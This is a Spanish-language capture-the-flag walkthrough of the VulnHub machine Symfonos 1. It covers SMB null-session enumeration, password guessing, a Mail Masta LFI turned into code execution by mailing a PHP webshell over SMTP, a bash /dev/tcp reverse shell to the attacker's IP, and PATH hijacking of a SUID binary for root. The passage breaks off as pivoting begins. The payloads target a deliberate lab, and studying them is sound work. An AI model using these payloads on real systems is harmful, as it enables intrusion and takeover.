the_open_door
café
ESEN

Symfonos 1 & 2

VulnHubFácilLinux192.168.1.148

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vulnhub#pivoting#chisel#proxychains#smb#null-session#password-spraying#wordpress#mail-masta#lfi#smtp#log-poisoning#suid#path-hijacking#proftpd#mod-copy#hash-cracking#sha512crypt#librenms#credential-reuse#port-forwarding#gtfobins#mysql
TL;DR. Dos máquinas de la serie Symfonos que forman un entorno de pivoting. En Symfonos 1 (192.168.1.148), una sesión nula de SMB entrega un diccionario y con password spraying cae helios:qwerty; el plugin Mail Masta de un WordPress es vulnerable a LFI, y envenenando el buzón por SMTP se pasa de LFI a RCE; un SUID que llama a curl sin ruta absoluta da root por PATH hijacking. Ya con root, Symfonos 1 resulta ser dual-homed: su segunda pata abre 10.10.0.0/24, donde vive Symfonos 2. Se monta un túnel SOCKS (chisel + proxychains) y allí un SMB anónimo filtra rutas, ProFTPD mod_copy copia un shadow.bak legible, se crackea aeolus:sergioteamo, un LibreNMS interno reutiliza la contraseña (credential reuse) y su alta de dispositivos da RCE como cronus; sudo mysql cierra la caja con GTFOBins.

Symfonos 1: de la sesión nula SMB a root

Descubrimiento del host

La máquina es una imagen de VulnHub en la red local, así que antes de escanear hay que encontrarla. Un barrido ARP la saca por su MAC de VMware:

arp-scan -I eth0 --localnet --ignoredups

arp-scan lista los hosts del segmento y 192.168.1.148 aparece con una MAC de VMware, Inc.

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
192.168.1.1     2c:70:4f:14:4e:c7   (Unknown)
192.168.1.148   00:0c:29:ba:4d:8b   VMware, Inc.
192.168.1.128   74:e2:0c:8f:1e:6f   Amazon Technologies Inc.
9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.467 seconds (103.77 hosts/sec). 9 responded

Objetivo: 192.168.1.148. El ping confirma que responde y el TTL orienta sobre el sistema:

ping -c 1 192.168.1.148

el ping a 192.168.1.148 responde con ttl=64, sin decrementar

64 bytes from 192.168.1.148: icmp_seq=1 ttl=64 time=0.398 ms
1 packets transmitted, 1 received, 0% packet loss, time 0ms

TTL 64 sin decrementar apunta a Linux y, de paso, a que no hay ni un salto de routing por el medio: la máquina está en el mismo segmento. Es un indicio, no una prueba, y lo cierra el escaneo de servicios.

Reconocimiento

El escaneo se lanza con jmap, una función del .zshrc que pide la IP por teclado y ejecuta el nmap completo guardando la salida en formato grepeable:

jmap
# 192.168.1.148
jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

jmap escanea los 65535 puertos de 192.168.1.148 y descubre 22, 25, 80, 139 y 445, todos con syn-ack ttl 64

Not shown: 65530 closed tcp ports (reset)
PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack ttl 64
25/tcp  open  smtp         syn-ack ttl 64
80/tcp  open  http         syn-ack ttl 64
139/tcp open  netbios-ssn  syn-ack ttl 64
445/tcp open  microsoft-ds syn-ack ttl 64
MAC Address: 00:0C:29:BA:4D:8B (VMware)

El escaneo de puertos abre cinco: SSH, SMTP, HTTP y el par de Samba (139/445). El ttl 64 de la columna REASON repite lo que decía el ping, esta vez cinco veces y sobre TCP.

extractPorts resume ese fichero y deja la lista en el portapapeles para el siguiente escaneo:

extractPorts scan

extractPorts resume el escaneo: IP 192.168.1.148 y puertos abiertos 22,25,80,139,445, copiados al portapapeles

Extracting information ...
IP Address: 192.168.1.148
Open ports: 22,25,80,139,445

Ports copied to clipboard

Y jmap2, la función hermana, lanza el -sCV sobre esa lista:

jmap2 192.168.1.148 22,25,80,139,445

jmap2 identifica OpenSSH 7.4p1 Debian, Postfix smtpd, Apache 2.4.25 y Samba 4.5.16 en 139 y 445, con el bloque smb-os-discovery

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
25/tcp  open  smtp        Postfix smtpd
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 00:0C:29:BA:4D:8B (VMware)
Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.5.16-Debian)
|   Computer name: symfonos
|   NetBIOS computer name: SYMFONOS\x00
|_  FQDN: symfonos
| smb-security-mode:
|   account_used: guest
|_  authentication_level: user

Tres cosas quedan anotadas. El OpenSSH 7.4p1 es antiguo y propenso a enumeración de usuarios. El 25 corre un Postfix y será la clave más adelante, aunque ahora no lo parezca. Y el smtp-commands filtra el nombre interno de la máquina, symfonos.localdomain.

TCP 80: una imagen y nada más

whatweb no saca nada de aplicación, solo el Apache:

whatweb http://192.168.1.148

whatweb devuelve 200 OK con Apache 2.4.25 sobre Debian Linux y nada mas

http://192.168.1.148 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ],
HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.1.148]

Wappalyzer, en el navegador, confirma lo mismo, y la portada explica el silencio: es un cuadro a pantalla completa, sin menú, sin texto y sin formularios.

la portada es un unico cuadro clasico a pantalla completa y Wappalyzer solo detecta Apache 2.4.25 sobre Debian

Web servers: Apache HTTP Server 2.4.25
Operating systems: Debian

El código fuente lo remata: veinticuatro líneas de CSS para que la imagen ocupe la ventana entera, y un solo <img>. Ni un comentario, ni un enlace, ni un script.

el view-source de la portada: solo un bloque style para centrar la imagen y un img src igual a image.jpg

<html>
<head>
<style>
html,body{ margin:0; height:100%; overflow:hidden; }
img{ min-height:100%; min-width:100%; height:auto; width:auto;
     position:absolute; top:-100%; bottom:-100%; left:-100%; right:-100%; margin:auto; }
</style>
</head>
<body>
<img src="image.jpg">
</body>
</html>

El descubrimiento de rutas tampoco da nada. dirsearch y gobuster coinciden en lo mismo, y lo único que aparece es el /manual que trae Apache por defecto:

dirsearch -u http://192.168.1.148/ --exclude-status=403,404
gobuster dir -u http://192.168.1.148 -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100

dirsearch encuentra solo /manual y gobuster confirma lo mismo tras 220560 peticiones, mas un /server-status con 403

[15:32:31] 301 -   315B - /manual  ->  http://192.168.1.148/manual/
[15:32:31] 200 -   201B - /manual/index.html
Task Completed

/manual          (Status: 301) [Size: 315] [--> http://192.168.1.148/manual/]
/server-status   (Status: 403) [Size: 301]
Progress: 220560 / 220561 (100.00%)
Finished

Doscientas veinte mil peticiones para el manual de Apache. La web no es el camino: toca empezar por Samba.

SMB - TCP 445

Una sesión nula lista los recursos sin pedir credenciales:

smbclient -N -L 192.168.1.148

smbclient con sesion nula lista print$, helios con el comentario Helios personal share, anonymous e IPC$

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        helios          Disk      Helios personal share
        anonymous       Disk
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
Reconnecting with SMB1 for workgroup listing.
        Workgroup            Master
        WORKGROUP            SYMFONOS

smbclient lista los nombres pero no dice a cuáles podemos entrar. Eso lo responde crackmapexec, que añade la columna de permisos:

crackmapexec smb 192.168.1.148 -u '' -p '' --shares 2>/dev/null

crackmapexec enumera los shares y solo anonymous aparece con permiso READ

SMB  192.168.1.148  445  SYMFONOS  [*] Windows 6.1 (name:SYMFONOS) (domain:) (signing:False) (SMBv1:True)
SMB  192.168.1.148  445  SYMFONOS  [+] \:
SMB  192.168.1.148  445  SYMFONOS  [+] Enumerated shares
SMB  192.168.1.148  445  SYMFONOS  Share       Permissions   Remark
SMB  192.168.1.148  445  SYMFONOS  print$                    Printer Drivers
SMB  192.168.1.148  445  SYMFONOS  helios                    Helios personal share
SMB  192.168.1.148  445  SYMFONOS  anonymous   READ
SMB  192.168.1.148  445  SYMFONOS  IPC$                      IPC Service (Samba 4.5.16-Debian)

El helios se anuncia como Helios personal share pero está cerrado; el único con READ es anonymous. Dentro hay un attention.txt que, sin quererlo, nos entrega un diccionario de contraseñas:

smbclient sobre el recurso anonymous descarga attention.txt, que enumera contraseñas prohibidas: epidioko, qwerty y baseball, firmado por Zeus

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus

Password spraying contra helios

Tenemos tres contraseñas pero ningún usuario. La misma sesión nula sirve para enumerarlos:

crackmapexec smb 192.168.1.148 -u '' -p '' --users 2>/dev/null

crackmapexec enumera usuarios: falla por dc ip pero el protocolo SAMRPC devuelve un unico usuario, helios

SMB  192.168.1.148  445  SYMFONOS  [-] Error enumerating domain users using dc ip 192.168.1.148: socket conne...
SMB  192.168.1.148  445  SYMFONOS  [*] Trying with SAMRPC protocol
SMB  192.168.1.148  445  SYMFONOS  [+] Enumerated domain user(s)
SMB  192.168.1.148  445  SYMFONOS  \helios

El primer intento falla y la herramienta reintenta sola por SAMRPC, que sí funciona. Un único usuario: helios. Es justo el nombre del recurso cerrado.

Las contraseñas del attention.txt van entrecomilladas, así que un grep -o con las comillas como ancla las recorta y las deja en un fichero listo para el spray:

cat attention.txt | grep -o "'[^']*'" | tr -d "'"
cat attention.txt | grep -o "'[^']*'" | tr -d "'" > passwords.txt

el grep recorta las tres contrasenas entrecomilladas del attention.txt y las guarda en passwords.txt

epidioko
qwerty
baseball

Con usuario y diccionario, el spray:

crackmapexec smb 192.168.1.148 -u 'helios' -p passwords.txt --users 2>/dev/null

crackmapexec prueba las tres contrasenas contra helios y las tres devuelven STATUS_LOGON_FAILURE

SMB  192.168.1.148  445  SYMFONOS  [*] Windows 6.1 (name:SYMFONOS) (domain:) (signing:False) (SMBv1:True)
SMB  192.168.1.148  445  SYMFONOS  [-] \helios:epidioko STATUS_LOGON_FAILURE
SMB  192.168.1.148  445  SYMFONOS  [-] \helios:qwerty   STATUS_LOGON_FAILURE
SMB  192.168.1.148  445  SYMFONOS  [-] \helios:baseball STATUS_LOGON_FAILURE

Las tres fallan. Aquí está la lección de la caja: no conviene fiarse de una sola herramienta. Probando la misma credencial con smbclient, contra el recurso helios en vez de contra el servicio, sí entra:

smbclient -U helios%qwerty \\\\192.168.1.148\\helios
ls

smbclient con helios y la contrasena qwerty abre el recurso helios y lista research.txt y todo.txt

Try "help" to get a list of possible commands.
smb: \> ls
  .                    D        0  Sat Jun 29 02:32:05 2019
  ..                   D        0  Sat Jun 29 02:37:04 2019
  research.txt         A      432  Sat Jun 29 02:32:05 2019
  todo.txt             A       52  Sat Jun 29 02:32:05 2019

                19994224 blocks of size 1024. 17281748 blocks available

La credencial helios:qwerty era válida todo el tiempo. El STATUS_LOGON_FAILURE de crackmapexec venía de cómo negocia la sesión, no de la contraseña.

Dentro hay dos notas. El prompt desactiva la confirmación interactiva para poder bajarlas de golpe con mget:

prompt
mget *
exit
cat research.txt
cat todo.txt

mget descarga research.txt y todo.txt; el research habla de Helios en la mitologia griega y el todo.txt menciona trabajar en /h3l105

smb: \> prompt
smb: \> mget *
getting file \research.txt of size 432 as research.txt (70.3 KiloBytes/sec)
getting file \todo.txt of size 52 as todo.txt (25.4 KiloBytes/sec)

$ cat research.txt
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot
which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while
at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously
the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of
the Ancient World.

$ cat todo.txt
1. Binge watch Dexter
2. Dance
3. Work on /h3l105

El research.txt es relleno temático (aunque explica el cuadro de la portada). El que importa es el todo.txt: su tercera línea, Work on /h3l105, es la ruta que ni dirsearch ni gobuster podían adivinar, porque no está en ningún diccionario.

WordPress en /h3l105 y el vhost symfonos.local

La ruta /h3l105 existe y es un WordPress, pero se carga a medias: el texto sale y el CSS no. Eso siempre apunta a lo mismo, a que los recursos cuelgan de un nombre que nuestra máquina no resuelve. El código fuente lo confirma en la primera pantalla:

el view-source de /h3l105 muestra dns-prefetch a //symfonos.local y todos los link y href apuntando a http://symfonos.local/h3l105/

<!-- Built With SiteEditor | http://www.siteeditor.org -->
<title>helios site &#8211; Just another WordPress site</title>
<link rel='dns-prefetch' href='//symfonos.local' />
<link rel='alternate' type='application/rss+xml' title="helios site &raquo; Feed"
      href="http://symfonos.local/h3l105/index.php/feed/" />
<link rel='stylesheet' id='wp-block-library-css'
      href='http://symfonos.local/h3l105/wp-includes/css/dist/block-library/style.min.css?ver=5.2.2' />

Todos los href apuntan a symfonos.local, y el dns-prefetch del principio lo dice sin rodeos. De paso, el comentario de la línea 4 delata un SiteEditor, y el ?ver=5.2.2 de las hojas de estilo fija la versión del WordPress.

Se añade al /etc/hosts para que el navegador lo resuelva contra la misma IP:

sudo nano /etc/hosts

el /etc/hosts editado en nano con la linea 192.168.1.148 symfonos.local anadida

127.0.0.1       localhost
127.0.1.1       kali
192.168.1.148   symfonos.local

Con la entrada puesta, el WordPress ("helios site") carga ya con todos sus recursos:

el WordPress helios site cargando entero con la entrada Hello world de admin del 29 de junio de 2019 y la barra lateral Recent Posts

helios site  -  Just another WordPress site
Hello world!
  admin | June 29, 2019 | Uncategorized | 1 Comment
Recent Posts: Hello world!

WordPress "helios site" cargando correctamente en /h3l105 tras añadir el vhost symfonos.local, con la entrada Hello world de admin

Ya con la web bien montada, wpscan enumera plugins y usuarios:

wpscan --url http://symfonos.local/h3l105/ --enumerate p,u

wpscan identifica los plugins mail-masta 1.0 y site-editor 1.1.1, ambos encontrados por su readme, y el usuario admin

[i] Plugin(s) Identified:
[+] mail-masta
 | Location: http://symfonos.local/h3l105/wp-content/plugins/mail-masta/
 | Latest Version: 1.0 (up to date)
 | Version: 1.0 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)

[+] site-editor
 | Location: http://symfonos.local/h3l105/wp-content/plugins/site-editor/
 | Latest Version: 1.1.1 (up to date)
 | Version: 1.1.1 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)

[i] User(s) Identified:
[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)

Las versiones salen del readme.txt que cada plugin deja publicado, no de una huella: por eso wpscan solo se da un 80% de confianza. La misma lista se saca a mano peinando los wp-content del HTML, sin necesidad de la herramienta:

curl -s -X GET "http://192.168.1.148/h3l105/" | grep "wp-content" | grep -oP "'.*?'" | grep 'symfonos.local' | cut -d '/' -f 1-7 | sort -u | grep plugins

el curl con grep y cut devuelve las dos rutas de plugins, mail-masta y site-editor

'http://symfonos.local/h3l105/wp-content/plugins/mail-masta
'http://symfonos.local/h3l105/wp-content/plugins/site-editor

Con los dos nombres, toca buscar vulnerabilidades conocidas:

searchsploit mail masta
searchsploit site editor | grep -i wordpress

searchsploit lista tres entradas para Mail Masta 1.0, dos de Local File Inclusion y una de SQL Injection, y una LFI para Site Editor 1.1.1

WordPress Plugin Mail Masta 1.0 - Local File Inclusion       | php/webapps/40290.txt
WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2)   | php/webapps/50226.py
WordPress Plugin Mail Masta 1.0 - SQL Injection              | php/webapps/41438.txt

WordPress Plugin Site Editor 1.1.1 - Local File Inclusion    | php/webapps/44340.txt
WordPress Plugin User Role Editor 3.12 - Cross-Site Request Forgery | php/webapps/25721.txt

Los dos plugins tienen LFI. Empezamos por el de Mail Masta, cuyo .txt no es un exploit sino la ficha del fallo: hay que leerla para sacar la ruta y el parámetro.

searchsploit mail masta -m 40290.txt
cat 40290.txt

el 40290.txt explica el LFI de Mail Masta, senala la linea include $_GET pl de count_of_send.php y termina con la URL de prueba contra /etc/passwd

[+] Date: [23-8-2016]
[+] Autor Guillermo Garcia Marcos
[+] Vendor: https://downloads.wordpress.org/plugin/mail-masta.zip
[+] Title: Mail Masta WP Local File Inclusion

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);

Typical proof-of-concept would be to load passwd file:

http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

Ahí está todo: un include($_GET['pl']) a pelo, sin validación ninguna, en dos ficheros distintos del plugin. La última línea es la URL de prueba, lista para pegar.

LFI en el plugin Mail Masta

El exploit de Mail Masta apunta a count_of_send.php con un parámetro pl que incluye ficheros locales:

LFI de Mail Masta: count_of_send.php?pl=/etc/passwd muestra el /etc/passwd, con la línea helios:x:1000:1000

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

Confirmado el LFI. Ahora toca peinar el sistema de ficheros a ver qué hay. Lo primero, la clave SSH de helios:

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/home/helios/.ssh/id_rsa

la peticion al LFI pidiendo /home/helios/.ssh/id_rsa devuelve una pagina completamente en blanco

Página en blanco: helios no tiene par de claves creado. El include no falla ruidosamente cuando el fichero no existe, simplemente no imprime nada, así que una respuesta vacía significa que el fichero no está, no que el LFI haya dejado de funcionar.

Segundo intento, las tareas programadas, por si hay algo que corra como root:

...count_of_send.php?pl=/etc/crontab

el LFI vuelca /etc/crontab con las cuatro lineas por defecto de cron.hourly, daily, weekly y monthly

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

Las cuatro líneas por defecto de Debian, ni una tarea propia. Tercer intento, los grupos, por si algún usuario está en uno interesante:

view-source:http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/group

el LFI vuelca /etc/group con los grupos del sistema, root, daemon, bin, sys, adm, disk, mail y demas

root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
disk:x:6:
mail:x:8:
proxy:x:13:

Todos vacíos de miembros. Se puede seguir así un buen rato sin sacar nada, y ahí es donde conviene volver al escaneo inicial: el puerto 25 estaba abierto con un Postfix. Si la máquina recibe correo, cada usuario tiene un buzón en /var/mail/<usuario>, y ese fichero sí lo escribe alguien de fuera.

view-source:...count_of_send.php?pl=/var/mail/helios

el LFI vuelca /var/mail/helios y se lee la cabecera Return-Path helios arroba symfonos.localdomain y el correo de bienvenida de WordPress

Return-Path: <helios@symfonos.localdomain>
Received: by symfonos.localdomain (Postfix, from userid 1000)
    id 2EE7C40AB0; Fri, 28 Jun 2019 19:46:02 -0500 (CDT)
To: helios@blah.com
Subject: New WordPress Site
X-PHP-Originating-Script: 1000:class-phpmailer.php
From: WordPress <wordpress@192.168.201.134>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)

Your new WordPress site has been successfully set up at:
http://192.168.201.134/h3l105

You can log in to the administrator account with the following information:
Username: admin
Password: The password you chose during installation.
Log in here: http://192.168.201.134/h3l105/wp-login.php

El buzón existe y se lee entero. El contenido en sí no da credenciales (el correo de bienvenida de WordPress dice literalmente "la contraseña que elegiste durante la instalación"), pero eso da igual: lo importante es que el fichero se puede leer y alguien de fuera puede escribir en él.

De LFI a RCE envenenando el correo

Como el LFI de Mail Masta incluye y ejecuta el fichero (es un include de PHP, no un readfile), si conseguimos meter código PHP en el buzón y luego lo incluimos, se ejecutará. Es la misma idea que un envenenamiento de logs, solo que el "log" aquí es el correo. Mandamos un mail a helios por SMTP con un webshell en el cuerpo:

telnet 192.168.1.148 25
MAIL FROM: kmn9
RCPT TO: helios
DATA
<?php system($_GET['cmd']); ?>
.
QUIT

la sesion telnet contra el 25 acepta MAIL FROM y RCPT TO con 250 Ok, el DATA pide terminar con un punto y el correo se encola como 66E3F40698

220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: kmn9
250 2.1.0 Ok
RCPT TO: helios
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
.
250 2.0.0 Ok: queued as 66E3F40698
exit
502 5.5.2 Error: command not recognized
QUIT
221 2.0.0 Bye
Connection closed by foreign host.

Tres detalles de esa sesión. El Postfix acepta un MAIL FROM inventado (kmn9) sin autenticar. El DATA avisa de cómo se cierra el cuerpo, con un punto solo en su línea. Y el 250 2.0.0 Ok: queued as 66E3F40698 es la confirmación de que el correo, con el PHP dentro, ya está escrito en el buzón. El 502 Error: command not recognized del exit es un desliz sin consecuencias: SMTP cierra con QUIT.

El cuerpo del correo es una sola línea, un webshell mínimo:

el cuerpo del correo enviado es la linea php system del parametro GET cmd

<?php system($_GET['cmd']); ?>

Ahora incluimos el buzón vía LFI y añadimos el parámetro cmd:

curl 'http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id'

curl al LFI incluyendo /var/mail/helios con cmd=id: el comando se ejecuta y devuelve uid=1000(helios)

uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

El correo envenenado se ejecuta al incluirlo: id devuelve uid=1000(helios). RCE como helios. Cambiamos el cmd por una reverse shell. El & del >& va codificado como %26, porque si no el navegador lo interpretaría como separador de parámetros y partiría el comando en dos:

...&cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.80/443 0>%261"

la barra de direcciones con el LFI a /var/mail/helios y el cmd de la reverse shell con los ampersand codificados como %26

symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.80/443 0>%261"

Con el nc a la escucha:

nc -nlvp 443

el listener del 443 recibe la conexion desde 192.168.1.148, la shell avisa de que no hay control de terminal y el id devuelve uid 1000 helios

listening on [any] 443 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.148] 43514
bash: cannot set terminal process group (610): Inappropriate ioctl for device
bash: no job control in this shell
<h3l105/wp-content/plugins/mail-masta/inc/campaign$ id
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Shell como helios, pero sin terminal: las dos líneas de bash avisan de que no hay control de procesos, o sea ni Ctrl+C sin morir, ni historial, ni su.

Tratamiento de la TTY

El script arranca un bash con PTY, se suspende la sesión con Ctrl+Z y se devuelve el terminal local a modo crudo antes de recuperarla:

script /dev/null -c bash
tty
# Ctrl+Z
stty raw -echo; fg

script arranca un bash con PTY, tty devuelve /dev/pts/0, se suspende con Ctrl+Z y stty raw -echo con fg recupera la sesion

$ script /dev/null -c bash
Script started, file is /dev/null
$ tty
/dev/pts/0
$ ^Z
zsh: suspended  nc -nlvp 443
# stty raw -echo; fg
[1]  + continued  nc -nlvp 443

El tty devolviendo /dev/pts/0 es la prueba de que ya hay un pseudoterminal asignado, que es justamente lo que faltaba. Queda declarar el tipo de terminal y ajustar el tamaño al de la ventana local:

stty rows 49 cols 211
export TERM=xterm SHELL=bash

tras el clear la shell avisa de que TERM no esta definida, se ajusta el tamano a 49 por 211 y al exportar TERM y SHELL el prompt pasa a mostrar helios arroba symfonos

$ clear
TERM environment variable not set.
$ stty rows 49 cols 211
helios@symfonos:/var/www/html/h3l105/wp-content/plugins/mail-masta/inc/campaign$ export TERM=xterm SHELL=bash

El TERM environment variable not set. del clear es la señal de que faltaba el export, y en cuanto se hace el prompt cambia y pasa a mostrar helios@symfonos con la ruta completa. Un último alias para no repetir parámetros:

alias ls="ls -la"
ls

con el alias puesto, el ls del directorio inc del plugin mail-masta lista todos sus php propiedad de helios

helios@symfonos:/var/www/html/h3l105/wp-content/plugins/mail-masta/inc$ ls
total 304
drwxr-xr-x 5 helios helios  4096 Jun 28  2019 .
-rwxr-xr-x 1 helios helios   365 Jun 28  2019 ajax_listing.php
drwxr-xr-x 2 helios helios  4096 Jun 28  2019 campaign
-rwxr-xr-x 1 helios helios  7390 Jun 28  2019 campaign_edit.php
drwxr-xr-x 3 helios helios  4096 Jun 28  2019 lists
-rwxr-xr-x 1 helios helios 80671 Jun 28  2019 mail-autoresponder-data.php
-rwxr-xr-x 1 helios helios  6953 Jun 28  2019 subscriber_list.php

De paso queda claro por qué el LFI corría como helios y no como www-data: todos los ficheros del WordPress son suyos.

Un binario SUID que llama a curl

Buscando binarios con SUID aparece uno que no es del sistema, /opt/statuscheck. Ejecutarlo devuelve las cabeceras de una petición HTTP:

find / -perm -4000 2>/dev/null
/opt/statuscheck

find lista los SUID habituales mas /opt/statuscheck, y ejecutarlo imprime las cabeceras de un HTTP 200 OK de Apache 2.4.25

/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck
/bin/mount
/bin/umount
/bin/su
/bin/ping

$ /opt/statuscheck
HTTP/1.1 200 OK
Date: Sun, 09 Feb 2025 17:14:19 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT
ETag: "148-58c6b9bb3bc5b"
Content-Length: 328
Content-Type: text/html

Esa salida es exactamente la de un curl -I, así que el binario está invocando algo. Un cat no sirve para averiguar qué, porque es un ejecutable compilado:

cat /opt/statuscheck

el cat de /opt/statuscheck vuelca binario ilegible, con algunos fragmentos como libc.so.6 y GLIBC reconocibles entre el ruido

^?ELF...
libc.so.6 __cxa_finalize __libc_start_main __ITM_deregisterTMCloneTable __gmon_start__
GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516

strings filtra las cadenas legibles y ahí sí aparece la llamada completa:

strings /opt/statuscheck

strings sobre /opt/statuscheck revela las cadenas curl -I H, http://lH y ocalhostH partidas en trozos

/lib64/ld-linux-x86-64.so.2
libc.so.6
system
__cxa_finalize
GLIBC_2.2.5
curl -I H
http://lH
ocalhostH
GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516

Las cadenas salen partidas (curl -I H, http://lH, ocalhostH) porque el compilador las trocea en registros de ocho bytes, pero recomponerlas es inmediato: curl -I http://localhost. Y encima del todo aparece system, la función de C que lanza el comando pasándolo por una shell, con el PATH del usuario que lo ejecuta.

Un binario SUID de root que invoca curl sin ruta absoluta es un PATH hijacking de libro. Creamos un curl falso que ponga el bit SUID a /bin/bash, lo colocamos primero en el PATH y disparamos el binario:

cd /tmp
echo 'chmod u+s /bin/bash' > curl
chmod +x curl
export PATH=/tmp:$PATH
/opt/statuscheck        # ejecuta nuestro /tmp/curl como root
bash -p                 # shell que conserva el euid=0

se crea el curl falso en /tmp, la primera ejecucion de statuscheck aun usa el curl real, tras exportar el PATH la segunda no imprime nada y /bin/bash aparece con el bit s; bash -p da euid 0 y whoami root

helios@symfonos:/tmp$ echo 'chmod u+s /bin/bash' > curl; chmod +x curl
helios@symfonos:/tmp$ ls
-rwxr-xr-x  1 helios helios    20 Feb  9 11:23 curl

helios@symfonos:/tmp$ /opt/statuscheck
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
Content-Length: 328

helios@symfonos:/tmp$ export PATH=/tmp:$PATH
helios@symfonos:/tmp$ /opt/statuscheck
helios@symfonos:/tmp$ ls /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15  2017 /bin/bash
helios@symfonos:/tmp$ bash -p
bash-4.4# id
uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),...
bash-4.4# whoami
root

Merece la pena leer esa secuencia entera, porque la prueba está en el contraste. La primera llamada a /opt/statuscheck, antes de tocar el PATH, imprime las cabeceras HTTP: sigue usando el curl de verdad. La segunda, ya con /tmp por delante, no imprime nada, porque el curl que encuentra es el nuestro y un chmod no escribe en pantalla. Ese silencio es el éxito. El ls /bin/bash lo confirma con el bit s en los permisos del propietario (-rwsr-xr-x), y el bash -p (que no descarta los privilegios heredados) abre una shell con euid=0.

Sesión root tras el PATH hijacking leyendo proof.txt: Congrats on rooting symfonos:1!

# id
uid=1000(helios) ... euid=0(root)
# cat /root/proof.txt
Congrats on rooting symfonos:1!

Symfonos 1 rooteada.

Pivoting hacia 10.10.0.0/24 (chisel + proxychains)

Ya con root en Symfonos 1, un ip a muestra que esa máquina tiene dos interfaces:

ip a

ip a en symfonos muestra tres interfaces, lo, ens33 con 192.168.1.151/24 y ens34 con 10.10.0.130/24

2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP
    link/ether 00:0c:29:4f:94:ec
    inet 192.168.1.151/24 brd 192.168.1.255 scope global ens33

3: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP
    link/ether 00:0c:29:4f:94:f6
    inet 10.10.0.130/24 brd 10.10.0.255 scope global ens34

La ens33 con 192.168.1.151/24 es por la que llegamos; la ens34 con 10.10.0.130/24 es una red interna a la que desde el atacante no hay alcance ninguno. Una máquina con dos patas así es, por definición, un pivote.

Un ping sweep desde dentro descubre quién vive en esa red:

